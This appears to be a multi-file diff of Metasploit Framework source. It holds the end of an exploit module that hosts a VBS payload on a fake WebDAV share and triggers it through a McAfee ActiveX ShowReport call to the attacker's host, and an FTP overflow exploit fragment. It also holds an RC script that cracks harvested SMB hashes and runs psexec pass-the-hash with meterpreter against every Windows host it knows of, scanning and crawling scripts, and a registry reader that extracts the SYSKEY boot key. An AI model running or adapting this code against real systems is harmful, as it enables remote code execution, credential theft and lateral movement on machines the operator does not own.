'DASL' => '<DAV:sql>',
|
||||
'DAV' => '1, 2',
|
||||
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
|
||||
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
|
||||
'Cache-Control' => 'private'
|
||||
}
|
||||
|
||||
resp = create_response(207, "Multi-Status")
|
||||
headers.each_pair {|k,v| resp[k] = v }
|
||||
resp.body = ''
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
my_uri = "http://#{my_host}/"
|
||||
|
||||
if path !~ /\/$/
|
||||
if path.index(".")
|
||||
print_status("Sending 404 for #{path} ...")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
else
|
||||
print_status("Sending 301 for #{path} ...")
|
||||
resp = create_response(301, "Moved")
|
||||
resp["Location"] = path + "/"
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Sending directory multistatus for #{path} ...")
|
||||
|
||||
body = <<-BODY
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
|
||||
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
BODY
|
||||
|
||||
body = body.gsub(/^\t\t/, '')
|
||||
|
||||
if request["Depth"].to_i > 0
|
||||
if path.scan("/").length < 2
|
||||
body << generate_shares(path)
|
||||
else
|
||||
# Set payload name, and set the hidden attribute. True means visible
|
||||
filenames = [ [@vbs_name, false] ]
|
||||
body << generate_files(path, filenames)
|
||||
end
|
||||
end
|
||||
|
||||
body << "</D:multistatus>"
|
||||
|
||||
body.gsub!(/\t/, '')
|
||||
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def gen_timestamp(ttype=nil)
|
||||
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
|
||||
end
|
||||
|
||||
def gen_datestamp(ttype=nil)
|
||||
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||
end
|
||||
|
||||
def generate_shares(path)
|
||||
share_name = datastore['SHARENAME']
|
||||
share = <<-SHARE
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{share_name}/</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
SHARE
|
||||
share = share.gsub(/^\t\t/, '')
|
||||
return share
|
||||
end
|
||||
|
||||
def generate_files(path, items)
|
||||
trail = path.split("/")
|
||||
return "" if trail.length < 2
|
||||
|
||||
files = ""
|
||||
items.each do |f, hide|
|
||||
h = hide ? '1' : '0'
|
||||
files << <<-FILES
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{f}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
<D:ishidden b:dt="boolean">#{h}</D:ishidden>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
FILES
|
||||
end
|
||||
|
||||
files = files.gsub(/^\t\t\t/, '')
|
||||
|
||||
return files
|
||||
end
|
||||
|
||||
def get_payload
|
||||
fname = rand_text_alpha(5) + ".vbs"
|
||||
p = payload.encoded
|
||||
exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})
|
||||
vbs = Msf::Util::EXE.to_exe_vbs(exe)
|
||||
return fname, vbs
|
||||
end
|
||||
|
||||
def exploit
|
||||
@vbs_name, @vbs = get_payload
|
||||
|
||||
#
|
||||
# progid: MYCIOSCNLib.Scan
|
||||
# clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7
|
||||
#
|
||||
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
|
||||
obj_name = rand_text_alpha(rand(6) + 3)
|
||||
sub_name = rand_text_alpha(rand(6) + 3)
|
||||
html = <<-HTML
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
<object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>
|
||||
<script language='vbscript'>
|
||||
sub #{sub_name}
|
||||
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"
|
||||
end sub
|
||||
|
||||
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"
|
||||
window.setTimeout "#{sub_name}", 1000
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
file_create(html)
|
||||
print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
myCIOScn!CScnXml::SetNumScanned+0x19ab:
|
||||
2101caf9 55 push ebp
|
||||
|
||||
0:003> lmv m myCIOScn
|
||||
start end module name
|
||||
21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
|
||||
Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
|
||||
Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
|
||||
Image name: myCIOScn.dll
|
||||
Timestamp: Wed Aug 10 11:34:01 2011 (4E42CF19)
|
||||
CheckSum: 0007C3A6
|
||||
ImageSize: 0006D000
|
||||
File version: 5.2.3.104
|
||||
Product version: 5.2.0.0
|
||||
File flags: 0 (Mask 3F)
|
||||
File OS: 40004 NT Win32
|
||||
File type: 1.0 App
|
||||
File date: 00000000.00000000
|
||||
Translations: 0409.04b0
|
||||
CompanyName: McAfee, Inc.
|
||||
ProductName: McAfee® Security-as-a-Service
|
||||
InternalName: myCioScn
|
||||
OriginalFilename: myCioScn.DLL
|
||||
ProductVersion: 5.2.3
|
||||
FileVersion: 5.2.3.104
|
||||
PrivateBuild: 5.2.3.104
|
||||
SpecialBuild: FULL
|
||||
FileDescription: myCioScn Module
|
||||
|
||||
.text:2101CB1A push esi
|
||||
.text:2101CB1B push 1
|
||||
.text:2101CB1D xor esi, esi
|
||||
.text:2101CB1F push esi
|
||||
.text:2101CB20 push esi
|
||||
.text:2101CB21 push eax ; we own this
|
||||
.text:2101CB22 push offset aOpen ; "open"
|
||||
.text:2101CB27 push esi
|
||||
.text:2101CB28 mov [ebp+0A50h+Str], eax
|
||||
.text:2101CB2B call off_2105D350 ; ShellExecuteW
|
||||
=end
|
|
@ -93,10 +93,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
connect_login
|
||||
|
||||
myHost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
|
||||
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
|
||||
|
||||
# Take client ip + ftp user lengths into account for EIP offset
|
||||
padd_size = target['Offset'] + (13 - myHost.length) + (3 - datastore['FTPUSER'].length)
|
||||
padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
|
||||
junk = rand_text_alpha(padd_size)
|
||||
|
||||
sploit = junk
|
||||
|
|
|
@ -0,0 +1,99 @@
|
|||
# auto-pass_the_hash.rc
|
||||
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
|
||||
|
||||
# This Metasploit RC-File could be used to automatically check already discovered windows hashes
|
||||
# with jtr before login testing, after jtr is started it uses the hashes with pass the hash
|
||||
# against windows fileservices. -> first we have to fill up the db with operating system infos
|
||||
# we use psexec only against windows systems. Hint: smb_version
|
||||
|
||||
|
||||
<ruby>
|
||||
#psexec needs a payload
|
||||
if framework.datastore['PAYLOAD']
|
||||
pload = framework.datastore['PAYLOAD']
|
||||
else #just to get sure that we have a backup payload
|
||||
pload = "windows/meterpreter/bind_tcp"
|
||||
end
|
||||
|
||||
if pload =~ /reverse/ and not framework.datastore['LHOST']
|
||||
print_error("You have to set LHOST globally!")
|
||||
return
|
||||
end
|
||||
|
||||
if (framework.datastore['JOHN'] == "true") # we can set a global JOHN Option to control the usage of the jtr modules
|
||||
jotr = 1
|
||||
else
|
||||
jotr = 0
|
||||
end
|
||||
|
||||
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
|
||||
verbose = 1 #true
|
||||
else
|
||||
verbose = 0
|
||||
end
|
||||
|
||||
def infos(serv,creds,host)
|
||||
print_line("")
|
||||
print_line("====================================")
|
||||
print_line("IP: #{host.address}")
|
||||
print_line("OS: #{host.os_name}")
|
||||
print_line("Servicename: #{serv.name}")
|
||||
print_line("Service Port: #{serv.port.to_i}")
|
||||
print_line("Service Protocol: #{serv.proto}")
|
||||
print_line("user: #{creds.user}")
|
||||
print_line("pass: #{creds.pass}")
|
||||
print_line("====================================")
|
||||
print_line("")
|
||||
end
|
||||
|
||||
framework.db.creds.each do |creds| # just checking if we have any smb_hashes in the creds db
|
||||
next if (creds.ptype !~ /smb_hash/)
|
||||
|
||||
if (jotr == 1)
|
||||
# first checking weak windows hashes with john ... because of the filtering before, we are sure that
|
||||
# this is a windows hash
|
||||
# on the first found hash we are going to analyse all hashes - then we set jotr to 0
|
||||
|
||||
print_line("using jtr_crack_fast")
|
||||
run_single("use auxiliary/analyze/jtr_crack_fast")
|
||||
# we use the info from Msf::Config.install_root and append the following path to it (thx to sinn3r)
|
||||
run_single("set JOHN_BASE #{Msf::Config.install_root}/data/john")
|
||||
run_single("set JOHN_PATH #{Msf::Config.install_root}/data/john")
|
||||
run_single("run -j")
|
||||
run_single("back")
|
||||
jotr = 0 # jtr modules tries to crack all smb_hashes from the db ... so we could leave it now
|
||||
end
|
||||
|
||||
smbhash = creds.pass
|
||||
username = creds.user
|
||||
|
||||
framework.db.hosts.each do |host|
|
||||
next if (host.os_name !~ /Windows/) # pass the hash works just for Win
|
||||
|
||||
host.services.each do |serv|
|
||||
next if not serv.host
|
||||
next if (serv.state != ServiceState::Open)
|
||||
next if (serv.name !~ /smb/)
|
||||
|
||||
print_line("using psexec - Pass the hash")
|
||||
if(verbose == 1)
|
||||
infos(serv,creds,host)
|
||||
end
|
||||
run_single("use exploit/windows/smb/psexec")
|
||||
run_single("set RHOST #{host.address}")
|
||||
run_single("set RPORT #{serv.port}")
|
||||
run_single("set SMBUser #{username}")
|
||||
run_single("set SMBPass #{smbhash}")
|
||||
run_single("set PAYLOAD #{pload}")
|
||||
if pload =~ /reverse/
|
||||
run_single("set LPORT #{(rand(0x8fff) + 4000).to_s}")
|
||||
end
|
||||
if(verbose == 1)
|
||||
run_single("set VERBOSE true")
|
||||
end
|
||||
run_single("exploit -j -z")
|
||||
run_single("back")
|
||||
end
|
||||
end
|
||||
end
|
||||
</ruby>
|
|
@ -0,0 +1,58 @@
|
|||
# autocrawler.rc
|
||||
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
|
||||
|
||||
# This Metasploit RC-File could be used to crawl webapps automatically
|
||||
# it uses the allready discovered webservers - "services -s http" / "services -s https"
|
||||
# you could use db_nmap or http_version for discovering the werbservers
|
||||
# some basic jobhandling to not kill our own machine is included - check the maxjobs and threadspercrawler variables
|
||||
|
||||
<ruby>
|
||||
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
|
||||
verbose = 1 #true
|
||||
else
|
||||
verbose = 0
|
||||
end
|
||||
|
||||
threadspercrawler = "4" #check this ... now its default
|
||||
|
||||
def jobwaiting() #thread handling for poor guys ...
|
||||
maxjobs=15 #throttling if we get too much jobs
|
||||
while(framework.jobs.keys.length >= maxjobs)
|
||||
::IO.select(nil, nil, nil, 2.5)
|
||||
print_error("waiting for finishing some modules... active jobs: #{framework.jobs.keys.length} / threads: #{framework.threads.length}")
|
||||
end
|
||||
end
|
||||
|
||||
framework.db.workspace.hosts.each do |host|
|
||||
host.services.each do |serv|
|
||||
next if not serv.host
|
||||
next if (serv.state != ServiceState::Open)
|
||||
next if (serv.name !~ /http/)
|
||||
|
||||
if(verbose == 1)
|
||||
print_line("IP: #{host.address}")
|
||||
print_line("OS: #{host.os_name}")
|
||||
print_line("Servicename: #{serv.name}")
|
||||
print_line("Service Port: #{serv.port.to_i}")
|
||||
print_line("Service Protocol: #{serv.proto}")
|
||||
end
|
||||
run_single("use auxiliary/scanner/http/crawler")
|
||||
run_single("set MAX_THREADS #{threadspercrawler}")
|
||||
run_single("set RHOST #{host.address}")
|
||||
run_single("set RPORT #{serv.port.to_i}")
|
||||
if(serv.name == "https")
|
||||
run_single("set SSL true")
|
||||
else
|
||||
run_single("set SSL false")
|
||||
end
|
||||
if(verbose == 1)
|
||||
run_single("set VERBOSE true")
|
||||
run_single("run -j")
|
||||
else
|
||||
run_single("run -j -q")
|
||||
end
|
||||
run_single("back")
|
||||
jobwaiting()
|
||||
end
|
||||
end
|
||||
</ruby>
|
|
@ -0,0 +1,22 @@
|
|||
# portcleaner.rc
|
||||
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
|
||||
|
||||
# This Metasploit RC-File could be used to clean up your metasploit database from closed ports
|
||||
|
||||
<ruby>
|
||||
counter = 0
|
||||
framework.db.hosts.each do |host|
|
||||
host.services.each do |serv|
|
||||
next if not serv.host
|
||||
if (serv.state != ServiceState::Open)
|
||||
print_line("cleaning closed services (Port: #{serv.port.to_i} / Host: #{host.address})")
|
||||
run_single("services -d -p #{serv.port.to_i} -r #{serv.proto} #{host.address}")
|
||||
counter = counter + 1
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
print_line("")
|
||||
print_line("cleaned #{counter} closed ports")
|
||||
print_line("")
|
||||
</ruby>
|
|
@ -0,0 +1,53 @@
|
|||
# portscan.rc
|
||||
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
|
||||
|
||||
# This Metasploit RC-File could be used to portscan the network via nmap or via the internal portscanner module
|
||||
# it also uses the udp_sweep module
|
||||
# RHOSTS is used from the global datastore
|
||||
|
||||
<ruby>
|
||||
#set ports for Metasploit tcp-portscanner (change this for your needs):
|
||||
ports = "7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665"
|
||||
|
||||
if (framework.datastore['RHOSTS'] == nil)
|
||||
print_status("you have to set RHOSTS globally ... exiting")
|
||||
return
|
||||
end
|
||||
|
||||
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
|
||||
verbose = 1 #true
|
||||
else
|
||||
verbose = 0
|
||||
end
|
||||
|
||||
if (framework.datastore['THREADS'] == nil) #default to 100 Threads
|
||||
run_single("setg THREADS 100")
|
||||
end
|
||||
|
||||
if (framework.datastore['NMAP'] == nil or framework.datastore['NMAP'] == "true") #default usage of nmap as portscanner
|
||||
nmap = 1
|
||||
else
|
||||
nmap = 0
|
||||
end
|
||||
|
||||
print_line("")
|
||||
print_line("starting portscanners ...")
|
||||
print_line("")
|
||||
print_line("Module: udp_sweep")
|
||||
run_single("use auxiliary/scanner/discovery/udp_sweep")
|
||||
run_single("run -j")
|
||||
|
||||
if ( nmap == 1 )
|
||||
print_line("Module: db_nmap")
|
||||
if ( verbose == 1)
|
||||
run_single("db_nmap -v -n -PN -P0 -O -sSV #{framework.datastore['RHOSTS']}")
|
||||
else
|
||||
run_single("db_nmap -n -PN -P0 -O -sSV #{framework.datastore['RHOSTS']}")
|
||||
end
|
||||
else
|
||||
print_line("Module: portscan/tcp")
|
||||
run_single("use auxiliary/scanner/portscan/tcp")
|
||||
run_single("set PORTS #{ports}")
|
||||
run_single("run -j")
|
||||
end
|
||||
</ruby>
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
@ -12,9 +11,12 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/windows/railgun'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Windows::Railgun
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'railgun_testing',
|
||||
|
@ -28,26 +30,25 @@ class Metasploit3 < Msf::Post
|
|||
[
|
||||
OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]),
|
||||
OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]),
|
||||
OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]),
|
||||
OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]),
|
||||
OptRegexp.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", '^SERVICE']),
|
||||
OptRegexp.new("ECREGEX", [false,"Regexp to apply to error code lookup", '^ERROR_SERVICE_']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_debug datastore['ECREGEX']
|
||||
print_status("Running against session #{datastore["SESSION"]}")
|
||||
print_status("Session type is #{session.type}")
|
||||
|
||||
@rg = session.railgun
|
||||
|
||||
print_status()
|
||||
print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
|
||||
results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX'])
|
||||
print_status("TESTING: select_const_names on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
|
||||
results = select_const_names(datastore['WIN_CONST'],datastore['WCREGEX'])
|
||||
print_status("RESULTS: #{results.class} #{results.pretty_inspect}")
|
||||
|
||||
print_status()
|
||||
print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}")
|
||||
results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX'])
|
||||
results = lookup_error(datastore['ERR_CODE'],datastore['ECREGEX'])
|
||||
print_status("RESULTS: #{results.class} #{results.inspect}")
|
||||
|
||||
print_status()
|
||||
|
|
|
@ -0,0 +1,519 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This script acts as a small registry reader.
|
||||
# You may easily automate a lot of registry forensics with a proper method.
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
|
||||
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))
|
||||
|
||||
require 'rex'
|
||||
require 'msf/ui'
|
||||
require 'rex/registry/hive'
|
||||
|
||||
def print_all(nodekey)
|
||||
print_all_keys(nodekey)
|
||||
print_all_values(nodekey)
|
||||
end
|
||||
|
||||
def print_all_keys(nodekey)
|
||||
|
||||
return if !nodekey
|
||||
return if !nodekey.lf_record
|
||||
return if !nodekey.lf_record.children
|
||||
return if nodekey.lf_record.children.length == 0
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Child Keys for #{nodekey.full_path}",
|
||||
'Indent' => ' '.length,
|
||||
'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ]
|
||||
)
|
||||
|
||||
if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0
|
||||
nodekey.lf_record.children.each do |key|
|
||||
table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count]
|
||||
end
|
||||
end
|
||||
|
||||
puts table.to_s
|
||||
end
|
||||
|
||||
def print_all_values(nodekey)
|
||||
|
||||
return if !nodekey
|
||||
return if !nodekey.lf_record
|
||||
return if !nodekey.lf_record.children
|
||||
return if nodekey.lf_record.children.length == 0
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Values in key #{nodekey.full_path}",
|
||||
'Indent' => ' '.length,
|
||||
'Columns' => ['Name','Value Type', 'Value']
|
||||
)
|
||||
if nodekey.value_list && nodekey.value_list.values.length > 0
|
||||
nodekey.value_list.values.each do |value|
|
||||
table << [value.name, value.readable_value_type, value.value.data]
|
||||
end
|
||||
end
|
||||
|
||||
puts table.to_s
|
||||
end
|
||||
|
||||
def get_system_information
|
||||
if @hive.hive_regf.hive_name =~ /SYSTEM/
|
||||
mounted_devices_info_key = @hive.relative_query("\\MountedDevices")
|
||||
|
||||
current_control_set_key = @hive.value_query('\Select\Default')
|
||||
current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key
|
||||
|
||||
computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set
|
||||
computer_name = computer_name_key.value.data.to_s if computer_name_key
|
||||
|
||||
event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set
|
||||
|
||||
puts "Computer Name: " + computer_name if computer_name
|
||||
|
||||
print_all_values(event_log_info_key) if event_log_info_key
|
||||
puts "-----------------------------------------" if event_log_info_key
|
||||
|
||||
print_all_values(mounted_devices_info_key) if mounted_devices_info_key
|
||||
puts "-----------------------------------------" if mounted_devices_info_key
|
||||
|
||||
elsif @hive.hive_regf.hive_name =~ /SOFTWARE/
|
||||
current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion")
|
||||
login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon")
|
||||
|
||||
print_all_values(current_version_info_key)
|
||||
puts "-----------------------------------------" if current_version_info_key
|
||||
|
||||
print_all_values(login_info_key)
|
||||
puts "-----------------------------------------" if login_info_key
|
||||
end
|
||||
end
|
||||
|
||||
def get_user_information
|
||||
|
||||
|
||||
local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names")
|
||||
local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names")
|
||||
|
||||
print_all(local_groups_info_key)
|
||||
puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children
|
||||
|
||||
print_all(local_users_info_key)
|
||||
puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children
|
||||
end
|
||||
|
||||
def dump_creds
|
||||
end
|
||||
|
||||
def get_boot_key
|
||||
|
||||
return if !@hive.root_key
|
||||
return if !@hive.root_key.name
|
||||
|
||||
puts "Getting boot key"
|
||||
puts "Root key: " + @hive.root_key.name
|
||||
|
||||
default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first
|
||||
|
||||
puts "Default ControlSet: ControlSet00#{default_control_set}"
|
||||
|
||||
bootkey = ""
|
||||
basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa"
|
||||
|
||||
%W{JD Skew1 GBG Data}.each do |k|
|
||||
ok = @hive.relative_query(basekey + "\\" + k)
|
||||
return nil if not ok
|
||||
|
||||
tmp = ""
|
||||
0.upto(ok.class_name_length - 1) do |i|
|
||||
next if i%2 == 1
|
||||
|
||||
tmp << ok.class_name_data[i,1]
|
||||
end
|
||||
|
||||
bootkey << [tmp.to_i(16)].pack('V')
|
||||
end
|
||||
|
||||
|
||||
keybytes = bootkey.unpack("C*")
|
||||
|
||||
descrambled = ""
|
||||
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
|
||||
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
||||
|
||||
0.upto(keybytes.length-1) do |x|
|
||||
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
|
||||
end
|
||||
|
||||
puts descrambled.unpack("H*")
|
||||
end
|
||||
|
||||
def list_applications
|
||||
end
|
||||
|
||||
def list_drivers
|
||||
end
|
||||
|
||||
def get_aol_instant_messenger_information
|
||||
|
||||
if @hive.hive_regf.hive_name != /NTUSER\.dat/i
|
||||
users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users')
|
||||
last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name")
|
||||
|
||||
print_all_keys(user_list_key)
|
||||
|
||||
user_list_key.lf_record.children.each do |screenname|
|
||||
away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList")
|
||||
file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer")
|
||||
profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry")
|
||||
recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames")
|
||||
|
||||
print_all(away_messages_key)
|
||||
print_all(file_xfer_settings_key)
|
||||
print_all(profile_info_key)
|
||||
print_all(recent_contacts_key)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def get_msn_messenger_information
|
||||
|
||||
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
|
||||
general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\")
|
||||
file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare")
|
||||
file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder")
|
||||
|
||||
print_all(general_information_key)
|
||||
print_all(file_sharing_information_key)
|
||||
print_all(file_transfers_information_key)
|
||||
end
|
